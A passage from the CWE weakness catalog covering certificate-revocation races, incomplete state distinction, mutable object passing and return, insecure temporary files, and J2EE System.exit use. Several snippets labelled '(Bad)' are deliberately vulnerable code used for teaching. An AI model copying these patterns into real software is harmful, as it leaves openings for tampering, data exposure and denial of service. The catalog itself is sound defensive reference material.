If the revocation status of a certificate is not checked before each action that requires privileges, the system may be subject to a race condition. If a certificate is revoked after the initial check, all subsequent actions taken with the owner of the revoked certificate will lose all benefits guaranteed by the certificate. In fact, it is almost certain that the use of a revoked certificate indicates malicious activity.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	B	299	Improper Check for Certificate Revocation	690
PeerOf	B	296	Improper Following of a Certificate's Chain of Trust	682
PeerOf	V	297	Improper Validation of Certificate with Host Mismatch	684
PeerOf	V	298	Improper Validation of Certificate Expiration	688

*Relevant to the view "Architectural Concepts" (CWE-1008)*

Nature	Type	ID	Name	Page
MemberOf	C	1014	Identify Actors	2222

### Applicable Platforms

**Language :** Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

Medium

### Common Consequences

Scope	Impact	Likelihood
Access Control	Gain Privileges or Assume Identity  <i>Trust may be assigned to an entity who is not who it claims to be.</i>	
Integrity	Modify Application Data  <i>Data from an untrusted (and possibly malicious) source may be integrated.</i>	
Confidentiality	Read Application Data  <i>Data may be disclosed to an entity impersonating a trusted entity, resulting in information disclosure.</i>	

### Potential Mitigations

**Phase:** Architecture and Design

Ensure that certificates are checked for revoked status before each use of a protected resource. If the certificate is checked before each access of a protected resource, the delay subject to a possible race condition becomes almost negligible and significantly reduces the risk associated with this issue.

## Demonstrative Examples

### Example 1:

The following code checks a certificate before performing an action.

Example Language: C

(Bad)

```
if (cert = SSL_get_peer_certificate(ssl)) {
    foo=SSL_get_verify_result(ssl);
    if (X509_V_OK==foo)
        //do stuff
    foo=SSL_get_verify_result(ssl);
    //do more stuff without the check.
```

While the code performs the certificate verification before each action, it does not check the result of the verification after the initial attempt. The certificate may have been revoked in the time between the privileged actions.

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		988	SFP Secondary Cluster: Race Condition Window	888	2206

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Race condition in checking for certificate revocation
Software Fault Patterns	SFP20		Race Condition Window

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
26	Leveraging Race Conditions
29	Leveraging Time-of-Check and Time-of-Use (TOCTOU) Race Conditions

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-44]Michael Howard, David LeBlanc and John Viega. "24 Deadly Sins of Software Security". McGraw-Hill. 2010.

## CWE-372: Incomplete Internal State Distinction

**Weakness ID** : 372

**Structure** : Simple

**Abstraction** : Base

### Description

The product does not properly determine which state it is in, causing it to assume it is in state X when in fact it is in state Y, causing it to perform incorrect operations in a security-relevant manner.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf	P	664	Improper Control of a Resource Through its Lifetime	1367

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf	C	371	State Issues	2114

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Common Consequences

Scope	Impact	Likelihood
Integrity	Varies by Context	
Other	Unexpected State	

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	C	962	SFP Secondary Cluster: Unchecked Status Condition	888	2193

## Notes

### Relationship

This conceptually overlaps other categories such as insufficient verification, but this entry refers to the product's incorrect perception of its own state.

### Relationship

This is probably resultant from other weaknesses such as unhandled error conditions, inability to handle out-of-order steps, multiple interpretation errors, etc.

### Maintenance

This entry is being considered for deprecation. It was poorly-defined in PLOVER and is not easily described using the behavior/resource/property model of vulnerability theory.

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
PLOVER			Incomplete Internal State Distinction

## Related Attack Patterns

CAPEC-ID	Attack Pattern Name
74	Manipulating State
140	Bypassing of Intermediate Forms in Multiple-Form Sets

## CWE-374: Passing Mutable Objects to an Untrusted Method

**Weakness ID** : 374**Structure** : Simple**Abstraction** : Base

## Description

The product sends non-cloned mutable data as an argument to a method or function.

## Extended Description

The function or method that has been called can alter or delete the mutable data. This could violate assumptions that the calling function has made about its state. In situations where unknown code is called with references to mutable data, this external code could make changes to the data sent. If this data was not previously cloned, the modified data might not be valid in the context of execution.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		371	State Issues	2114

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Integrity	Modify Memory  <i>Potentially data could be tampered with by another function which should not have been tampered with.</i>	

## Potential Mitigations

### Phase: Implementation

Pass in data which should not be altered as constant or immutable.

### Phase: Implementation

Clone all mutable data before passing it into an external function . This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

## Demonstrative Examples

### Example 1:



The following example demonstrates the weakness.

Example Language: C

(Bad)

```
private:
    int foo;
    complexType bar;
    String baz;
    otherClass externalClass;
public:
    void doStuff() {
        externalClass.doOtherStuff(foo, bar, baz)
    }
}
```

In this example, bar and baz will be passed by reference to doOtherStuff() which may change them.

### Example 2:

In the following Java example, the BookStore class manages the sale of books in a bookstore, this class includes the member objects for the bookstore inventory and sales database manager classes. The BookStore class includes a method for updating the sales database and inventory when a book is sold. This method retrieves a Book object from the bookstore inventory object using the supplied ISBN number for the book class, then calls a method for the sales object to update the sales information and then calls a method for the inventory object to update inventory for the BookStore.

Example Language: Java

(Bad)

```
public class BookStore {
    private BookStoreInventory inventory;
    private SalesDBManager sales;
    ...
    // constructor for BookStore
    public BookStore() {
        this.inventory = new BookStoreInventory();
        this.sales = new SalesDBManager();
        ...
    }
    public void updateSalesAndInventoryForBookSold(String bookISBN) {
        // Get book object from inventory using ISBN
        Book book = inventory.getBookWithISBN(bookISBN);
        // update sales information for book sold
        sales.updateSalesInformation(book);
        // update inventory
        inventory.updateInventory(book);
    }
    // other BookStore methods
    ...
}
public class Book {
    private String title;
    private String author;
    private String isbn;
    // Book object constructors and get/set methods
    ...
}
```

However, in this example the Book object that is retrieved and passed to the method of the sales object could have its contents modified by the method. This could cause unexpected results when the book object is sent to the method for the inventory object to update the inventory.

In the Java programming language arguments to methods are passed by value, however in the case of objects a reference to the object is passed by value to the method. When an object reference is passed as a method argument a copy of the object reference is made within the

method and therefore both references point to the same object. This allows the contents of the object to be modified by the method that holds the copy of the object reference. [REF-374]

In this case the contents of the Book object could be modified by the method of the sales object prior to the call to update the inventory.

To prevent the contents of the Book object from being modified, a copy of the Book object should be made before the method call to the sales object. In the following example a copy of the Book object is made using the clone() method and the copy of the Book object is passed to the method of the sales object. This will prevent any changes being made to the original Book object.

Example Language: Java

(Good)

```
...
public void updateSalesAndInventoryForBookSold(String bookISBN) {
    // Get book object from inventory using ISBN
    Book book = inventory.getBookWithISBN(bookISBN);
    // Create copy of book object to make sure contents are not changed
    Book bookSold = (Book) book.clone();
    // update sales information for book sold
    sales.updateSalesInformation(bookSold);
    // update inventory
    inventory.updateInventory(book);
}
...
```

## MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf	<b>C</b>	849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2157
MemberOf	<b>C</b>	963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf	<b>C</b>	1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2239

## Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Passing mutable objects to an untrusted method
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ04-J		Provide mutable classes with copy functionality to safely allow passing instances to untrusted code
Software Fault Patterns	SFP23		Exposed Data

## References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-374]Tony Sintes. "Does Java pass by reference or pass by value?". JavaWorld.com. 2000 May 6. < <http://www.javaworld.com/javaworld/javaqa/2000-05/03-qa-0526-pass.html> >.

[REF-375]Herbert Schildt. "Java: The Complete Reference, J2SE 5th Edition".

## CWE-375: Returning a Mutable Object to an Untrusted Caller

Weakness ID : 375

**Structure** : Simple  
**Abstraction** : Base

## Description

Sending non-cloned mutable data as a return value may result in that data being altered or deleted by the calling function.


## Extended Description

In situations where functions return references to mutable data, it is possible that the external code which called the function may make changes to the data sent. If this data was not previously cloned, the class will then be using modified data which may violate assumptions about its internal state.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		371	State Issues	2114

## Applicable Platforms

**Language** : C (Prevalence = Undetermined)

**Language** : C++ (Prevalence = Undetermined)

**Language** : Java (Prevalence = Undetermined)

**Language** : C# (Prevalence = Undetermined)

## Likelihood Of Exploit

Medium

## Common Consequences

Scope	Impact	Likelihood
Access Control	Modify Memory	
Integrity	<i>Potentially data could be tampered with by another function which should not have been tampered with.</i>	

## Potential Mitigations

### Phase: Implementation

Declare returned data which should not be altered as constant or immutable.

### Phase: Implementation

Clone all mutable data before returning references to it. This is the preferred mitigation. This way, regardless of what changes are made to the data, a valid copy is retained for use by the class.

## Demonstrative Examples

### Example 1:

This class has a private list of patients, but provides a way to see the list :

Example Language: Java

(Bad)

```
public class ClinicalTrial {
    private PatientClass[] patientList = new PatientClass[50];
    public getPatients(...){
        return patientList;
    }
}
```

While this code only means to allow reading of the patient list, the `getPatients()` method returns a reference to the class's original patient list instead of a reference to a copy of the list. Any caller of this method can arbitrarily modify the contents of the patient list even though it is a private member of the class.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		849	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 6 - Object Orientation (OBJ)	844	2157
MemberOf		963	SFP Secondary Cluster: Exposed Data	888	2193
MemberOf		1139	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 05. Object Orientation (OBJ)	1133	2239
MemberOf		1181	SEI CERT Perl Coding Standard - Guidelines 03. Expressions (EXP)	1178	2259

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Mutable object returned
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ04-J		Provide mutable classes with copy functionality to safely allow passing instances to untrusted code
The CERT Oracle Secure Coding Standard for Java (2011)	OBJ05-J		Defensively copy private mutable class members before returning their references
SEI CERT Perl Coding Standard	EXP34-PL	Imprecise	Do not modify \$_ in list or sorting functions
Software Fault Patterns	SFP23		Exposed Data

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-377: Insecure Temporary File

**Weakness ID :** 377

**Structure :** Simple

**Abstraction :** Class

### Description

Creating and using insecure temporary files can leave application and system data vulnerable to attack.

### Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		668	Exposure of Resource to Wrong Sphere	1380
ParentOf		378	Creation of Temporary File With Insecure Permissions	879
ParentOf		379	Creation of Temporary File in Directory with Insecure Permissions	881

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Files or Directories	
Integrity	Modify Files or Directories	

### Demonstrative Examples

#### Example 1:

The following code uses a temporary file for storing intermediate data gathered from the network before it is processed.

*Example Language: C*

*(Bad)*

```
if (tmpnam_r(filename)) {
    FILE* tmp = fopen(filename,"wb+");
    while((recv(sock,recvbuf,DATA_SIZE, 0) > 0)&(amt!=0)) amt = fwrite(recvbuf,1,DATA_SIZE,tmp);
}
...
```

This otherwise unremarkable code is vulnerable to a number of different attacks because it relies on an insecure method for creating temporary files. The vulnerabilities introduced by this function and others are described in the following sections. The most egregious security problems related to temporary file creation have occurred on Unix-based operating systems, but Windows applications have parallel risks. This section includes a discussion of temporary file creation on both Unix and Windows systems. Methods and behaviors can vary between systems, but the fundamental risks introduced by each are reasonably constant.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		361	7PK - Time and State	700	2113
MemberOf		857	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 14 - Input Output (FIO)	844	2161
MemberOf		964	SFP Secondary Cluster: Exposure Temporary File	888	2196
MemberOf		1147	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 13. Input Output (FIO)	1133	2244
MemberOf		1169	SEI CERT C Coding Standard - Guidelines 14. Concurrency (CON)	1154	2255

Nature	Type	ID	Name	V	Page
MemberOf	C	1345	OWASP Top Ten 2021 Category A01:2021 - Broken Access Control	1344	2280

## Notes

### Other

Applications require temporary files so frequently that many different mechanisms exist for creating them in the C Library and Windows(R) API. Most of these functions are vulnerable to various forms of attacks. The functions designed to aid in the creation of temporary files can be broken into two groups based whether they simply provide a filename or actually open a new file. - Group 1: "Unique" Filenames: The first group of C Library and WinAPI functions designed to help with the process of creating temporary files do so by generating a unique file name for a new temporary file, which the program is then supposed to open. This group includes C Library functions like `tmpnam()`, `tempnam()`, `mktemp()` and their C++ equivalents prefaced with an `_` (underscore) as well as the `GetTempFileName()` function from the Windows API. This group of functions suffers from an underlying race condition on the filename chosen. Although the functions guarantee that the filename is unique at the time it is selected, there is no mechanism to prevent another process or an attacker from creating a file with the same name after it is selected but before the application attempts to open the file. Beyond the risk of a legitimate collision caused by another call to the same function, there is a high probability that an attacker will be able to create a malicious collision because the filenames generated by these functions are not sufficiently randomized to make them difficult to guess. If a file with the selected name is created, then depending on how the file is opened the existing contents or access permissions of the file may remain intact. If the existing contents of the file are malicious in nature, an attacker may be able to inject dangerous data into the application when it reads data back from the temporary file. If an attacker pre-creates the file with relaxed access permissions, then data stored in the temporary file by the application may be accessed, modified or corrupted by an attacker. On Unix based systems an even more insidious attack is possible if the attacker pre-creates the file as a link to another important file. Then, if the application truncates or writes data to the file, it may unwittingly perform damaging operations for the attacker. This is an especially serious threat if the program operates with elevated permissions. Finally, in the best case the file will be opened with the a call to `open()` using the `O_CREAT` and `O_EXCL` flags or to `CreateFile()` using the `CREATE_NEW` attribute, which will fail if the file already exists and therefore prevent the types of attacks described above. However, if an attacker is able to accurately predict a sequence of temporary file names, then the application may be prevented from opening necessary temporary storage causing a denial of service (DoS) attack. This type of attack would not be difficult to mount given the small amount of randomness used in the selection of the filenames generated by these functions. - Group 2: "Unique" Files: The second group of C Library functions attempts to resolve some of the security problems related to temporary files by not only generating a unique file name, but also opening the file. This group includes C Library functions like `tmpfile()` and its C++ equivalents prefaced with an `_` (underscore), as well as the slightly better-behaved C Library function `mkstemp()`. The `tmpfile()` style functions construct a unique filename and open it in the same way that `fopen()` would if passed the flags "wb+", that is, as a binary file in read/write mode. If the file already exists, `tmpfile()` will truncate it to size zero, possibly in an attempt to assuage the security concerns mentioned earlier regarding the race condition that exists between the selection of a supposedly unique filename and the subsequent opening of the selected file. However, this behavior clearly does not solve the function's security problems. First, an attacker can pre-create the file with relaxed access-permissions that will likely be retained by the file opened by `tmpfile()`. Furthermore, on Unix based systems if the attacker pre-creates the file as a link to another important file, the application may use its possibly elevated permissions to truncate that file, thereby doing damage on behalf of the attacker. Finally, if `tmpfile()` does create a new file, the access permissions applied to that file will vary from one operating system to another, which can leave application data vulnerable even if an attacker is unable to predict the filename to be used in advance. Finally, `mkstemp()` is a reasonably safe way create temporary files. It will attempt to create and open a unique file based

on a filename template provided by the user combined with a series of randomly generated characters. If it is unable to create such a file, it will fail and return -1. On modern systems the file is opened using mode 0600, which means the file will be secure from tampering unless the user explicitly changes its access permissions. However, mkstemp() still suffers from the use of predictable file names and can leave an application vulnerable to denial of service attacks if an attacker causes mkstemp() to fail by predicting and pre-creating the filenames to be used.

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			Insecure Temporary File
CERT C Secure Coding	CON33-C	Imprecise	Avoid race conditions when using library functions
The CERT Oracle Secure Coding Standard for Java (2011)	FIO00-J		Do not operate on files in shared directories

### Related Attack Patterns

CAPEC-ID	Attack Pattern Name
149	Explore for Predictable Temporary File Names
155	Screen Temporary Files for Sensitive Information

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

[REF-7]Michael Howard and David LeBlanc. "Writing Secure Code". 2nd Edition. 2002 December 4. Microsoft Press. < <https://www.microsoftpressstore.com/store/writing-secure-code-9780735617223> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-378: Creation of Temporary File With Insecure Permissions

**Weakness ID** : 378

**Structure** : Simple

**Abstraction** : Base

### Description

Opening temporary files without appropriate measures or controls can leave the file, its contents and any function that it impacts vulnerable to attack.

### Relationships


The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*



Nature	Type	ID	Name	Page
ChildOf		377	Insecure Temporary File	876

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2273

### Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

### Likelihood Of Exploit

High

### Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>If the temporary file can be read by the attacker, sensitive information may be in that file which could be revealed.</i>	
Authorization Other	Other  <i>If that file can be written to by the attacker, the file might be moved into a place to which the attacker does not have access. This will allow the attacker to gain selective resource access-control privileges.</i>	
Integrity Other	Other  <i>Depending on the data stored in the temporary file, there is the potential for an attacker to gain an additional input vector which is trusted as non-malicious. It may be possible to make arbitrary changes to data structures, user information, or even process ownership.</i>	

### Potential Mitigations

#### Phase: Requirements

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

#### Phase: Implementation

Ensure that you use proper file permissions. This can be achieved by using a safe temp file function. Temporary files should be writable and readable only by the process that owns the file.

#### Phase: Implementation

Randomize temporary file names. This can also be achieved by using a safe temp-file function. This will ensure that temporary files will not be created in predictable places.

### Demonstrative Examples

#### Example 1:

In the following code examples a temporary file is created and written to. After using the temporary file, the file is closed and deleted from the file system.

*Example Language: C*

*(Bad)*

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
```

```
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method `tmpfile()` is used to create and open the temp file. The `tmpfile()` method works the same way as the `fopen()` method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

Example Language: Java

(Bad)

```
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
}
catch (IOException e) {
}
```

Similarly, the `createTempFile()` method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually `/tmp` or `/var/tmp` and on Windows systems the default directory is usually `C:\\Windows\\Temp`, which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name		Page
MemberOf		964	SFP Secondary Cluster: Exposure Temporary File		888 2196

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Improper temp file opening

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

## CWE-379: Creation of Temporary File in Directory with Insecure Permissions

**Weakness ID** : 379

**Structure** : Simple

**Abstraction** : Base

### Description

The product creates a temporary file in a directory whose permissions allow unintended actors to determine the file's existence or otherwise access that file.

### Extended Description

On some operating systems, the fact that the temporary file exists may be apparent to any user with sufficient privileges to access that directory. Since the file is visible, the application that is

using the temporary file could be known. If one has access to list the processes on the system, the attacker has gained information about what the user is doing at that time. By correlating this with the applications the user is running, an attacker could potentially discover what a user's actions are. From this, higher levels of security could be breached.

## Relationships

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		377	Insecure Temporary File	876

*Relevant to the view "Software Development" (CWE-699)*

Nature	Type	ID	Name	Page
MemberOf		1219	File Handling Issues	2273

## Applicable Platforms

**Language** : Not Language-Specific (*Prevalence = Undetermined*)

## Likelihood Of Exploit

Low

## Common Consequences

Scope	Impact	Likelihood
Confidentiality	Read Application Data  <i>Since the file is visible and the application which is using the temp file could be known, the attacker has gained information about what the user is doing at that time.</i>	

## Potential Mitigations

### Phase: Requirements

Many contemporary languages have functions which properly handle this condition. Older C temp file functions are especially susceptible.

### Phase: Implementation

Try to store sensitive tempfiles in a directory which is not world readable -- i.e., per-user directories.

### Phase: Implementation

Avoid using vulnerable temp file functions.

## Demonstrative Examples

### Example 1:

In the following code examples a temporary file is created and written to. After using the temporary file, the file is closed and deleted from the file system.

*Example Language: C*

*(Bad)*

```
FILE *stream;
if( (stream = tmpfile()) == NULL ) {
    perror("Could not open new temporary file\n");
    return (-1);
}
// write data to tmp file
```

```
...
// remove tmp file
rmtmp();
```

However, within this C/C++ code the method tmpfile() is used to create and open the temp file. The tmpfile() method works the same way as the fopen() method would with read/write permission, allowing attackers to read potentially sensitive information contained in the temp file or modify the contents of the file.

Example Language: Java

(Bad)

```
try {
    File temp = File.createTempFile("pattern", ".suffix");
    temp.deleteOnExit();
    BufferedWriter out = new BufferedWriter(new FileWriter(temp));
    out.write("aString");
    out.close();
}
catch (IOException e) {
}
```

Similarly, the createTempFile() method used in the Java code creates a temp file that may be readable and writable to all users.

Additionally both methods used above place the file into a default directory. On UNIX systems the default directory is usually "/tmp" or "/var/tmp" and on Windows systems the default directory is usually "C:\\Windows\\Temp", which may be easily accessible to attackers, possibly enabling them to read and modify the contents of the temp file.

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	View	Page
MemberOf	C	743	CERT C Secure Coding Standard (2008) Chapter 10 - Input Output (FIO)	734	2140
MemberOf	C	877	CERT C++ Secure Coding Section 09 - Input Output (FIO)	868	2171
MemberOf	C	964	SFP Secondary Cluster: Exposure Temporary File	888	2196

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
CLASP			Guessed or visible temporary file
CERT C Secure Coding	FIO15-C		Ensure that file operations are performed in a secure directory

### References

[REF-18]Secure Software, Inc.. "The CLASP Application Security Process". 2005. < <https://cwe.mitre.org/documents/sources/TheCLASPApplicationSecurityProcess.pdf> >.

[REF-62]Mark Dowd, John McDonald and Justin Schuh. "The Art of Software Security Assessment". 1st Edition. 2006. Addison Wesley.

## CWE-382: J2EE Bad Practices: Use of System.exit()

Weakness ID : 382  
 Structure : Simple

**Abstraction** : Variant**Description**

A J2EE application uses System.exit(), which also shuts down its container.

**Extended Description**

It is never a good idea for a web application to attempt to shut down the application container. Access to a function that can shut down the application is an avenue for Denial of Service (DoS) attacks.

**Relationships**

The table(s) below shows the weaknesses and high level categories that are related to this weakness. These relationships are defined as ChildOf, ParentOf, MemberOf and give insight to similar items that may exist at higher and lower levels of abstraction. In addition, relationships such as PeerOf and CanAlsoBe are defined to show similar weaknesses that may want to be explored.

*Relevant to the view "Research Concepts" (CWE-1000)*

Nature	Type	ID	Name	Page
ChildOf		705	Incorrect Control Flow Scoping	1437

**Applicable Platforms**

**Language** : Java (*Prevalence = Undetermined*)

**Common Consequences**

Scope	Impact	Likelihood
Availability	DoS: Crash, Exit, or Restart	

**Potential Mitigations****Phase: Architecture and Design**

*Strategy = Separation of Privilege*

The shutdown function should be a privileged function available only to a properly authorized administrative user

**Phase: Implementation**

Web applications should not call methods that cause the virtual machine to exit, such as System.exit()

**Phase: Implementation**

Web applications should also not throw any Throwables to the application server as this may adversely affect the container.

**Phase: Implementation**

Non-web applications may have a main() method that contains a System.exit(), but generally should not call System.exit() from other locations in the code

**Demonstrative Examples****Example 1:**

Included in the doPost() method defined below is a call to System.exit() in the event of a specific exception.

*Example Language: Java*

*(Bad)*

```
Public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    try {
        ...
    } catch (ApplicationSpecificException ase) {
```

```

logger.error("Caught: " + ase.toString());
System.exit(1);
}
}

```

### MemberOf Relationships

This MemberOf relationships table shows additional CWE Categories and Views that reference this weakness as a member. This information is often useful in understanding where a weakness fits within the context of external information sources.

Nature	Type	ID	Name	V	Page
MemberOf		361	7PK - Time and State	700	2113
MemberOf		730	OWASP Top Ten 2004 Category A9 - Denial of Service	711	2132
MemberOf		851	The CERT Oracle Secure Coding Standard for Java (2011) Chapter 8 - Exceptional Behavior (ERR)	844	2158
MemberOf		1001	SFP Secondary Cluster: Use of an Improper API	888	2213
MemberOf		1141	SEI CERT Oracle Secure Coding Standard for Java - Guidelines 07. Exceptional Behavior (ERR)	1133	2241

### Taxonomy Mappings

Mapped Taxonomy Name	Node ID	Fit	Mapped Node Name
7 Pernicious Kingdoms			J2EE Bad Practices: System.exit()
OWASP Top Ten 2004	A9	CWE More Specific	Denial of Service
The CERT Oracle Secure Coding Standard for Java (2011)	ERR09-J		Do not allow untrusted code to terminate the JVM
Software Fault Patterns	SFP3		Use of an improper API

### References

[REF-6]Katrina Tsipenyuk, Brian Chess and Gary McGraw. "Seven Pernicious Kingdoms: A Taxonomy of Software Security Errors". NIST Workshop on Software Security Assurance Tools Techniques and Metrics. 2005 November 7. NIST. < [https://samate.nist.gov/SSATTM\\_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf](https://samate.nist.gov/SSATTM_Content/papers/Seven%20Pernicious%20Kingdoms%20-%20Taxonomy%20of%20Sw%20Security%20Errors%20-%20Tsipenyuk%20-%20Chess%20-%20McGraw.pdf) >.

## CWE-383: J2EE Bad Practices: Direct Use of Threads

**Weakness ID** : 383

**Structure** : Simple

**Abstraction** : Variant

### Description

Thread management in a Web application is forbidden in some circumstances and is always highly error prone.

### Extended Description

